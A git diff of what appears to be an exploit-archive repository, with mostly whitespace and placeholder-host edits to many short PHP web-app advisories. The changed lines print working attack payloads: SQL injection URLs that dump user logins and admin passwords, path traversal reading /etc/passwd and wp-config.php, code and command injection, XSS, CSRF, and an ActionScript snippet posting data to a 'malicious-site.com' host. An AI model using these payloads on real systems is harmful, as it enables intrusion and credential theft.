&core[ajax]=true&core[call]=comment.add&core[security_token]=686f82ec43f7dcd92784ab36ab5cbfb7 -&val[type]=user_status&val[item_id]=27&val[parent_id]=0&val[is_via_feed]=0 val[default_feed_value]=Write%20a%20comment...&val[text]=AQUI!!!!!!!!!!!& core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=290 \ No newline at end of file +&val[type]=user_status&val[item_id]=27&val[parent_id]=0&val[is_via_feed]=0 val[default_feed_value]=Write%20a%20comment...&val[text]=AQUI!!!!!!!!!!!& core[is_admincp]=0&core[is_user_profile]=1&core[profile_user_id]=290 \ No newline at end of file diff --git a/platforms/php/webapps/39140.txt b/platforms/php/webapps/39140.txt index 007f99bad..66fc4e02d 100755 --- a/platforms/php/webapps/39140.txt +++ b/platforms/php/webapps/39140.txt @@ -4,4 +4,4 @@ Inneradmission component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_inneradmission&id=1'a \ No newline at end of file +http://www.example.com/index.php?option=com_inneradmission&id=1'a \ No newline at end of file diff --git a/platforms/php/webapps/39141.txt b/platforms/php/webapps/39141.txt index 1e7373821..256289526 100755 --- a/platforms/php/webapps/39141.txt +++ b/platforms/php/webapps/39141.txt @@ -4,4 +4,4 @@ eazyCMS is prone to an SQL-injection vulnerability because it fails to sufficien A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?tab=[SQLI] \ No newline at end of file +http://www.example.com/index.php?tab=[SQLI] \ No newline at end of file diff --git a/platforms/php/webapps/39146.txt b/platforms/php/webapps/39146.txt index f132b3575..fb216ac5d 100755 --- a/platforms/php/webapps/39146.txt +++ b/platforms/php/webapps/39146.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access Jigowatt PHP Event Calendar 2.16b is vulnerable; other versions may also be affected. -http://www.example.com/code/calendar/day_view.php?day=23&month=4&year=[SQL injection] \ No newline at end of file +http://www.example.com/code/calendar/day_view.php?day=23&month=4&year=[SQL injection] \ No newline at end of file diff --git a/platforms/php/webapps/39153.txt b/platforms/php/webapps/39153.txt index 4f35e65c8..2c59f44b1 100755 --- a/platforms/php/webapps/39153.txt +++ b/platforms/php/webapps/39153.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc iDevAffiliate 5.0 and prior are vulnerable. -http://www.example.com/idevaffiliate/idevads.php?id=6&ad=[SQLi] \ No newline at end of file +http://www.example.com/idevaffiliate/idevads.php?id=6&ad=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/39157.txt b/platforms/php/webapps/39157.txt index 41e45d1d9..b5ea3a46c 100755 --- a/platforms/php/webapps/39157.txt +++ b/platforms/php/webapps/39157.txt @@ -4,4 +4,4 @@ Puntopy is prone to an SQL-injection vulnerability because it fails to sufficien A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/novedad.php?id=[SQL Injection] \ No newline at end of file +http://www.example.com/novedad.php?id=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/39167.txt b/platforms/php/webapps/39167.txt index 9e4915a1d..c0800f342 100755 --- a/platforms/php/webapps/39167.txt +++ b/platforms/php/webapps/39167.txt @@ -28,3 +28,4 @@ application/install.php a form will appear, first text field is for new admin username and second field is for new password of web application proceed with installation and web application will setup with new attacker supplied admin username password + \ No newline at end of file diff --git a/platforms/php/webapps/39172.txt b/platforms/php/webapps/39172.txt index 14ea1a0fb..536981627 100755 --- a/platforms/php/webapps/39172.txt +++ b/platforms/php/webapps/39172.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to compromise the application, access or m PrestaShop 1.6.0 is vulnerable; other versions may also be affected. -http://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3[SQL-injection] \ No newline at end of file +http://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3[SQL-injection] \ No newline at end of file diff --git a/platforms/php/webapps/39173.txt b/platforms/php/webapps/39173.txt index b72d28796..eb74378e3 100755 --- a/platforms/php/webapps/39173.txt +++ b/platforms/php/webapps/39173.txt @@ -4,4 +4,4 @@ Caldera is prone to multiple SQL-injection vulnerabilities because it fails to s Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/costview2/jobs.php?tr=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,pass_adm,14,15,16+from+cost_admin \ No newline at end of file +http://www.example.com/costview2/jobs.php?tr=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,pass_adm,14,15,16+from+cost_admin \ No newline at end of file diff --git a/platforms/php/webapps/39174.txt b/platforms/php/webapps/39174.txt index 97ef17e06..a4aec6ebe 100755 --- a/platforms/php/webapps/39174.txt +++ b/platforms/php/webapps/39174.txt @@ -4,4 +4,4 @@ Caldera is prone to multiple SQL-injection vulnerabilities because it fails to s Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/costview2/printers.php?id_onglet=0&tr=0+union+select+0x3020756E696F6E2073656C656374206E756C6C2C404076657273696F6E2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C,null,null,0,null&deb=0 \ No newline at end of file +http://www.example.com/costview2/printers.php?id_onglet=0&tr=0+union+select+0x3020756E696F6E2073656C656374206E756C6C2C404076657273696F6E2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C2C6E756C6C,null,null,0,null&deb=0 \ No newline at end of file diff --git a/platforms/php/webapps/39188.txt b/platforms/php/webapps/39188.txt index 54b006264..c502e1ffc 100755 --- a/platforms/php/webapps/39188.txt +++ b/platforms/php/webapps/39188.txt @@ -6,4 +6,4 @@ An attacker can leverage this issue to compromise the application, access or mod Glossaire 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/modules/glossaire/glossaire-aff.php?lettre=A[SQL INJECTION] \ No newline at end of file +http://www.example.com/modules/glossaire/glossaire-aff.php?lettre=A[SQL INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/39189.txt b/platforms/php/webapps/39189.txt index 6b6ea98c1..698bb6c34 100755 --- a/platforms/php/webapps/39189.txt +++ b/platforms/php/webapps/39189.txt @@ -4,4 +4,4 @@ SMART iPBX is prone to multiple SQL-injection vulnerabilities because it fails t Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/editarclave.php?accion=e&id=[SQL INJECTION]]&ld=1 \ No newline at end of file +http://www.example.com/editarclave.php?accion=e&id=[SQL INJECTION]]&ld=1 \ No newline at end of file diff --git a/platforms/php/webapps/39191.txt b/platforms/php/webapps/39191.txt index c9790c56d..63b51e423 100755 --- a/platforms/php/webapps/39191.txt +++ b/platforms/php/webapps/39191.txt @@ -4,4 +4,4 @@ Clipperz Password Manager is prone to remote code-execution vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the affected application. -http://www.example.com/password-manager-master/backend/php/src/setup/rpc.php?objectname=Xmenu();print_r(php_uname());die \ No newline at end of file +http://www.example.com/password-manager-master/backend/php/src/setup/rpc.php?objectname=Xmenu();print_r(php_uname());die \ No newline at end of file diff --git a/platforms/php/webapps/39197.txt b/platforms/php/webapps/39197.txt index 079bc7970..3931cff57 100755 --- a/platforms/php/webapps/39197.txt +++ b/platforms/php/webapps/39197.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Versions prior to Booking System (Booking Calendar) 1.3 are vulnerable. -www.example.com/wp/wp-admin/admin-ajax.php?action=dopbs_show_booking_form_fields&booking_form_id=[SQLi] \ No newline at end of file +www.example.com/wp/wp-admin/admin-ajax.php?action=dopbs_show_booking_form_fields&booking_form_id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/39200.txt b/platforms/php/webapps/39200.txt index c74c4e605..60d86978b 100755 --- a/platforms/php/webapps/39200.txt +++ b/platforms/php/webapps/39200.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to compromise the application, access or modi PHP-Nuke 8.3 is vulnerable; other versions may also be affected. -http://www.example.com/modules.php?name=Submit_News&subject=whatever&topics[]=[SQLi] \ No newline at end of file +http://www.example.com/modules.php?name=Submit_News&subject=whatever&topics[]=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/39206.txt b/platforms/php/webapps/39206.txt index ff8cbf08b..4ef5f8842 100755 --- a/platforms/php/webapps/39206.txt +++ b/platforms/php/webapps/39206.txt @@ -6,4 +6,4 @@ A successful exploit will allow an attacker to compromise the application, acces webEdition CMS 6.3.3.0 through 6.3.8.0 svn6985 are vulnerable; other versions may also be affected. - http://www.example.com/webEdition/we_fs.php?what=4[SQL] \ No newline at end of file + http://www.example.com/webEdition/we_fs.php?what=4[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/39210.txt b/platforms/php/webapps/39210.txt index 05b29fd97..c4636478b 100755 --- a/platforms/php/webapps/39210.txt +++ b/platforms/php/webapps/39210.txt @@ -6,4 +6,4 @@ Remote attackers can use a specially crafted request with directory-traversal se Seo Panel 3.4.0 is vulnerable; other versions may also be affected. -http://www.example.com/seopanel/download.php?file=/etc/purple/prefs.xml \ No newline at end of file +http://www.example.com/seopanel/download.php?file=/etc/purple/prefs.xml \ No newline at end of file diff --git a/platforms/php/webapps/39211.txt b/platforms/php/webapps/39211.txt index 70603bb23..f0729986a 100755 --- a/platforms/php/webapps/39211.txt +++ b/platforms/php/webapps/39211.txt @@ -6,7 +6,7 @@ Exploiting this vulnerability would allow an attacker to obtain potentially sens <html> <body> -<form action="http://www.server/wp-content/themes/infocus/lib/scripts/dl-skin.php" method="post"> +<form action="http://www.site.com/wp-content/themes/infocus/lib/scripts/dl-skin.php" method="post"> Download:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br> <input type="submit"> </form> diff --git a/platforms/php/webapps/39212.txt b/platforms/php/webapps/39212.txt index 8d8e7ae8b..686c0023c 100755 --- a/platforms/php/webapps/39212.txt +++ b/platforms/php/webapps/39212.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow a remote attacker to perform certain unauthorize JW Player for Flash & HTML5 Video 2.1.3 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/admin.php?page=jwp6_menu&player_id=1&action=delete \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=jwp6_menu&player_id=1&action=delete \ No newline at end of file diff --git a/platforms/php/webapps/39223.txt b/platforms/php/webapps/39223.txt index bc4d08f1e..4b9ce1dea 100755 --- a/platforms/php/webapps/39223.txt +++ b/platforms/php/webapps/39223.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc ZeusCart 4.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?do=addtocart&prodid=${PROD_ID} and sleep(1) \ No newline at end of file +http://www.example.com/index.php?do=addtocart&prodid=${PROD_ID} and sleep(1) \ No newline at end of file diff --git a/platforms/php/webapps/39238.txt b/platforms/php/webapps/39238.txt index 150f47f0b..cdb4a33b8 100755 --- a/platforms/php/webapps/39238.txt +++ b/platforms/php/webapps/39238.txt @@ -4,4 +4,4 @@ AtomCMS is prone to an SQL-injection vulnerability and an arbitrary file-upload Exploiting these issues could allow an attacker to upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/acms/admin/uploads.php?id=1 \ No newline at end of file +http://www.example.com/acms/admin/uploads.php?id=1 \ No newline at end of file diff --git a/platforms/php/webapps/39239.txt b/platforms/php/webapps/39239.txt index 778f615e3..80da5211c 100755 --- a/platforms/php/webapps/39239.txt +++ b/platforms/php/webapps/39239.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc xClassified 1.2 is vulnerable; other versions may also be affected. -http://www.example.com/ads.php?catid=4%27a[SQLi] \ No newline at end of file +http://www.example.com/ads.php?catid=4%27a[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/39240.txt b/platforms/php/webapps/39240.txt index b1b2d9292..19bdfb787 100755 --- a/platforms/php/webapps/39240.txt +++ b/platforms/php/webapps/39240.txt @@ -8,4 +8,4 @@ BSK PDF Manager 1.3.2 is vulnerable; other versions may also be affected. http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager-pdfs&view=edit&pdfid=1 and 1=2 -http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1 and 1=2 \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1 and 1=2 \ No newline at end of file diff --git a/platforms/php/webapps/39243.txt b/platforms/php/webapps/39243.txt index 56128616a..26ca04377 100755 --- a/platforms/php/webapps/39243.txt +++ b/platforms/php/webapps/39243.txt @@ -8,7 +8,7 @@ XSS (Reflected) =============== -> http://server/index.php?a=search&q=teste&filter=m"><h1>XSS</h1><noscript> +> http://target.com/index.php?a=search&q=teste&filter=m"><h1>XSS</h1><noscript> CSRF ==== diff --git a/platforms/php/webapps/39250.txt b/platforms/php/webapps/39250.txt index ba76424cd..a00705321 100755 --- a/platforms/php/webapps/39250.txt +++ b/platforms/php/webapps/39250.txt @@ -14,4 +14,4 @@ http://www.example.com/wp-content/plugins/dzs-videogallery/deploy/designer/previ Command-Injection: -http://www.example.com/wp-content/plugins/dzs-videogallery/img.php?webshot=1&src=http://www.example.com/1.jpg$(os-cmd) \ No newline at end of file +http://www.example.com/wp-content/plugins/dzs-videogallery/img.php?webshot=1&src=http://www.example.com/1.jpg$(os-cmd) \ No newline at end of file diff --git a/platforms/php/webapps/39251.txt b/platforms/php/webapps/39251.txt index 9f75c9378..6ad2684d9 100755 --- a/platforms/php/webapps/39251.txt +++ b/platforms/php/webapps/39251.txt @@ -8,4 +8,4 @@ BookX plugin 1.7 is vulnerable; other versions may also be affected. http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../../../../../etc/passwd -http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../wp-config.php \ No newline at end of file +http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../wp-config.php \ No newline at end of file diff --git a/platforms/php/webapps/39252.txt b/platforms/php/webapps/39252.txt index 08442d5b1..bfaf7f3c9 100755 --- a/platforms/php/webapps/39252.txt +++ b/platforms/php/webapps/39252.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to compromise the application, access or modi WP Rss Poster 1.0.0 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/admin.php?page=wrp-add-new&id=2 union select 1,user(),database(),4,5,6,7,8,9,10,11,12,13,14,15,@@version,17,18 \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=wrp-add-new&id=2 union select 1,user(),database(),4,5,6,7,8,9,10,11,12,13,14,15,@@version,17,18 \ No newline at end of file diff --git a/platforms/php/webapps/39253.txt b/platforms/php/webapps/39253.txt index d674a28fe..b0384df3f 100755 --- a/platforms/php/webapps/39253.txt +++ b/platforms/php/webapps/39253.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to compromise the application, access or modi ENL Newsletter 1.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/admin.php?page=enl-add-new&id=2 union select 1,@@version,3,user(),database(),6,7,8,9,0,1 \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=enl-add-new&id=2 union select 1,@@version,3,user(),database(),6,7,8,9,0,1 \ No newline at end of file diff --git a/platforms/php/webapps/39256.txt b/platforms/php/webapps/39256.txt index d54939c12..0b55ed8d3 100755 --- a/platforms/php/webapps/39256.txt +++ b/platforms/php/webapps/39256.txt @@ -7,4 +7,4 @@ An attacker can exploit these issues to obtain potentially sensitive information Tera Charts 0.1 is vulnerable; other versions may also be affected. http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd -http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd \ No newline at end of file +http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/39257.txt b/platforms/php/webapps/39257.txt index 084a23450..25e464ce3 100755 --- a/platforms/php/webapps/39257.txt +++ b/platforms/php/webapps/39257.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to obtain potentially sensitive information Tera Charts 0.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp_test/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd \ No newline at end of file +http://www.example.com/wp_test/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/39268.java b/platforms/php/webapps/39268.java index 79770da87..40931c249 100755 --- a/platforms/php/webapps/39268.java +++ b/platforms/php/webapps/39268.java @@ -40,7 +40,7 @@ package { private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent - var sendTo:String = "http://www.malicious-server/crossdomain/store.php" + var sendTo:String = "http://www.malicious-site.com/crossdomain/store.php" var sendRequest:URLRequest = new URLRequest(sendTo); sendRequest.method = URLRequestMethod.POST; sendRequest.data = event.target.data; diff --git a/platforms/php/webapps/39269.txt b/platforms/php/webapps/39269.txt index 7f884e72e..277972b87 100755 --- a/platforms/php/webapps/39269.txt +++ b/platforms/php/webapps/39269.txt @@ -4,4 +4,4 @@ The Lead Octopus Power plugin for WordPress is prone to an SQL-injection vulnera A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/Lead-Octopus-Power/lib/optin/optin_page.php?id=[SQL] \ No newline at end of file +http://www.example.com/wp-content/plugins/Lead-Octopus-Power/lib/optin/optin_page.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/39272.txt b/platforms/php/webapps/39272.txt index 76a24dc7c..991afe0f3 100755 --- a/platforms/php/webapps/39272.txt +++ b/platforms/php/webapps/39272.txt @@ -27,3 +27,4 @@ also embedded These files : CMSimple/cmsimple/cms.php CMSimple/index.php CMSimple/plugins/index.php + \ No newline at end of file diff --git a/platforms/php/webapps/39279.txt b/platforms/php/webapps/39279.txt index b0d522574..b8ba54041 100755 --- a/platforms/php/webapps/39279.txt +++ b/platforms/php/webapps/39279.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to compromise the application, access or modi wpSS 0.62 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/wpSS/ss_handler.php?ss_id=-20%20UNION%20ALL%20SELECT%201,2,3,4# \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/wpSS/ss_handler.php?ss_id=-20%20UNION%20ALL%20SELECT%201,2,3,4# \ No newline at end of file diff --git a/platforms/php/webapps/3928.txt b/platforms/php/webapps/3928.txt index 0f977ba52..2c89b0ba5 100755 --- a/platforms/php/webapps/3928.txt +++ b/platforms/php/webapps/3928.txt @@ -7,6 +7,6 @@ # File: ./atk.inc include_once($config_atkroot."atk/modules/class.atkmodule.inc"); -# Exploit http://server/[path]/index.php?config_atkroot=SHELL +# Exploit http://site.com/[path]/index.php?config_atkroot=SHELL # milw0rm.com [2007-05-15] diff --git a/platforms/php/webapps/39280.txt b/platforms/php/webapps/39280.txt index 0078b337a..7c43a32dc 100755 --- a/platforms/php/webapps/39280.txt +++ b/platforms/php/webapps/39280.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to compromise the application, access or modi HDW Player 2.4.2 is vulnerable; other versions may also be affected. -http://www.example.com/wp-admin/admin.php?page=videos&opt=edit&id=2 union select 1,2,user(),4,5,6,database(),8,@@version,10,11,12 \ No newline at end of file +http://www.example.com/wp-admin/admin.php?page=videos&opt=edit&id=2 union select 1,2,user(),4,5,6,database(),8,@@version,10,11,12 \ No newline at end of file diff --git a/platforms/php/webapps/39281.txt b/platforms/php/webapps/39281.txt index 82b9822b9..5065f2752 100755 --- a/platforms/php/webapps/39281.txt +++ b/platforms/php/webapps/39281.txt @@ -4,4 +4,4 @@ VoipSwitch is prone to a local file-include vulnerability because it fails to su An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. -https://www.example.com/user.php?action=../../../windows/win.ini%00.jpg \ No newline at end of file +https://www.example.com/user.php?action=../../../windows/win.ini%00.jpg \ No newline at end of file diff --git a/platforms/php/webapps/39283.txt b/platforms/php/webapps/39283.txt index dec64d499..942cba802 100755 --- a/platforms/php/webapps/39283.txt +++ b/platforms/php/webapps/39283.txt @@ -4,4 +4,4 @@ FB Gorilla plugin for WordPress is prone to an SQL-injection vulnerability becau An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/fbgorilla/game_play.php?id=-7+/*!50000union*/+/*!50000select*/+1,2,%28/*!50000group_Concat%28user_login%29*/%29,4,5,6,7,8,9,0,1,2,3+from+wp_users-- \ No newline at end of file +http://www.example.com/wp-content/plugins/fbgorilla/game_play.php?id=-7+/*!50000union*/+/*!50000select*/+1,2,%28/*!50000group_Concat%28user_login%29*/%29,4,5,6,7,8,9,0,1,2,3+from+wp_users-- \ No newline at end of file diff --git a/platforms/php/webapps/39287.txt b/platforms/php/webapps/39287.txt index 3827ae6ad..fd082d3d0 100755 --- a/platforms/php/webapps/39287.txt +++ b/platforms/php/webapps/39287.txt @@ -6,4 +6,4 @@ Exploiting this issue can allow an attacker to obtain sensitive information that WP Content Source Control 3.0.0 is vulnerable; other versions may also be affected. -www.example.com/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php \ No newline at end of file +www.example.com/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php \ No newline at end of file diff --git a/platforms/php/webapps/39289.txt b/platforms/php/webapps/39289.txt index a461e0e0c..8e07d4629 100755 --- a/platforms/php/webapps/39289.txt +++ b/platforms/php/webapps/39289.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access ArticleFR 3.0.4 is vulnerable; prior versions may also be affected. -http://www.example.com/rate.php?act=get&id=0%20union%20select%201,(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHA R(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(1 11),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%20--%202 \ No newline at end of file +http://www.example.com/rate.php?act=get&id=0%20union%20select%201,(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHA R(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(1 11),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%20--%202 \ No newline at end of file diff --git a/platforms/php/webapps/39290.txt b/platforms/php/webapps/39290.txt index a494222a8..aea9f5a08 100755 --- a/platforms/php/webapps/39290.txt +++ b/platforms/php/webapps/39290.txt @@ -7,4 +7,4 @@ An attacker may exploit this issue to perform certain unauthorized actions. This Versions prior to MyAwards 2.4 are vulnerable. https://www.example.com/forum/admin/index.php?module=user-awards&action=awards_delete_user&id=1&awid=1&awuid=2 -https://www.example.com/forum/admin/index.php?module=user-awards&action=awards_delete_user&id=1&awuid=1 \ No newline at end of file +https://www.example.com/forum/admin/index.php?module=user-awards&action=awards_delete_user&id=1&awuid=1 \ No newline at end of file diff --git a/platforms/php/webapps/39291.txt b/platforms/php/webapps/39291.txt index 3f48438d5..a08b50a3c 100755 --- a/platforms/php/webapps/39291.txt +++ b/platforms/php/webapps/39291.txt @@ -4,4 +4,4 @@ The KenBurner Slider plugin for WordPress is prone to an arbitrary file-download An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. -http://www.example.com/wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.php \ No newline at end of file +http://www.example.com/wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.php \ No newline at end of file diff --git a/platforms/php/webapps/39294.txt b/platforms/php/webapps/39294.txt index 614fc360a..2bcc64f74 100755 --- a/platforms/php/webapps/39294.txt +++ b/platforms/php/webapps/39294.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to compromise the application, access or mod Spider Video Player Extension 2.8.3 is vulnerable; other versions may also be affected. -http://www.example.com/component/spidervideoplayer/?view=settings&format=row&typeselect=0&playlist=1,&theme=1' \ No newline at end of file +http://www.example.com/component/spidervideoplayer/?view=settings&format=row&typeselect=0&playlist=1,&theme=1' \ No newline at end of file diff --git a/platforms/php/webapps/39296.txt b/platforms/php/webapps/39296.txt index 35043ef4b..f7ccf5253 100755 --- a/platforms/php/webapps/39296.txt +++ b/platforms/php/webapps/39296.txt @@ -4,4 +4,4 @@ Urban City theme for Wordpress is prone to an arbitrary file-download vulnerabil An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. -http://www.example.com/wp-content/themes/urbancity/lib/scripts/download.php?file=/etc/passwd \ No newline at end of file +http://www.example.com/wp-content/themes/urbancity/lib/scripts/download.php?file=/etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/39297.txt b/platforms/php/webapps/39297.txt index c2aab95b9..ff334e996 100755 --- a/platforms/php/webapps/39297.txt +++ b/platforms/php/webapps/39297.txt @@ -4,4 +4,4 @@ Authentic theme for Wordpress is prone to an arbitrary file-download vulnerabili An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. -http://www.example.com/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php \ No newline at end of file +http://www.example.com/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php \ No newline at end of file diff --git a/platforms/php/webapps/39298.txt b/platforms/php/webapps/39298.txt index 5419d4e5d..7fd956bff 100755 --- a/platforms/php/webapps/39298.txt +++ b/platforms/php/webapps/39298.txt @@ -4,4 +4,4 @@ Epic theme for Wordpress is prone to an arbitrary file-download vulnerability. An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. -http://www.example.com/wp-content/themes/epic/includes/download.php?file=/home/content/46/8992446/html/wp-config.php \ No newline at end of file +http://www.example.com/wp-content/themes/epic/includes/download.php?file=/home/content/46/8992446/html/wp-config.php \ No newline at end of file diff --git a/platforms/php/webapps/39299.txt b/platforms/php/webapps/39299.txt index b59d58b41..e8ac5af5c 100755 --- a/platforms/php/webapps/39299.txt +++ b/platforms/php/webapps/39299.txt @@ -4,4 +4,4 @@ Antioch theme for Wordpress is prone to an arbitrary file-download vulnerability An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. -http://www.example.com/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php \ No newline at end of file +http://www.example.com/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php \ No newline at end of file diff --git a/platforms/php/webapps/39300.txt b/platforms/php/webapps/39300.txt index c3b3d315e..6fd8d1bdf 100755 --- a/platforms/php/webapps/39300.txt +++ b/platforms/php/webapps/39300.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Spider Facebook 1.0.8 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-admin/admin.php?page=Spider_Facebook_manage&task=Spider_Facebook_edit&id=1 and 1=2 \ No newline at end of file +http://www.example.com/wordpress/wp-admin/admin.php?page=Spider_Facebook_manage&task=Spider_Facebook_edit&id=1 and 1=2 \ No newline at end of file diff --git a/platforms/php/webapps/39303.txt b/platforms/php/webapps/39303.txt index 0a1e11f8c..4617c21f9 100755 --- a/platforms/php/webapps/39303.txt +++ b/platforms/php/webapps/39303.txt @@ -6,4 +6,4 @@ An attacker can exploit the cross-site request forgery issue to perform unauthor Xhanch My Twitter 2.7.7 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/?xmt_Primary_twt_id=508351521810300928 \ No newline at end of file +http://www.example.com/wordpress/?xmt_Primary_twt_id=508351521810300928 \ No newline at end of file diff --git a/platforms/php/webapps/39304.txt b/platforms/php/webapps/39304.txt index 4acf1de6f..524973ed5 100755 --- a/platforms/php/webapps/39304.txt +++ b/platforms/php/webapps/39304.txt @@ -6,4 +6,4 @@ An attacker can exploit the cross-site request forgery issue to perform unauthor W3 Total Cache 0.9.4 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-admin/admin.php?page=w3tc_general&w3tc_note=enabled_edge \ No newline at end of file +http://www.example.com/wordpress/wp-admin/admin.php?page=w3tc_general&w3tc_note=enabled_edge \ No newline at end of file diff --git a/platforms/php/webapps/39313.txt b/platforms/php/webapps/39313.txt index b9f552429..df644df72 100755 --- a/platforms/php/webapps/39313.txt +++ b/platforms/php/webapps/39313.txt @@ -6,4 +6,4 @@ An attacker can exploit the cross-site request forgery issue to perform unauthor Food Order Portal 8.3 is vulnerable; other versions may also be affected. -http://www.example.com/admin/admin_user_delete.php?admin_id=[ADMIN ID] \ No newline at end of file +http://www.example.com/admin/admin_user_delete.php?admin_id=[ADMIN ID] \ No newline at end of file diff --git a/platforms/php/webapps/39317.txt b/platforms/php/webapps/39317.txt index b76931b24..e61b9ace7 100755 --- a/platforms/php/webapps/39317.txt +++ b/platforms/php/webapps/39317.txt @@ -9,4 +9,4 @@ Successful exploits of these issues allow the 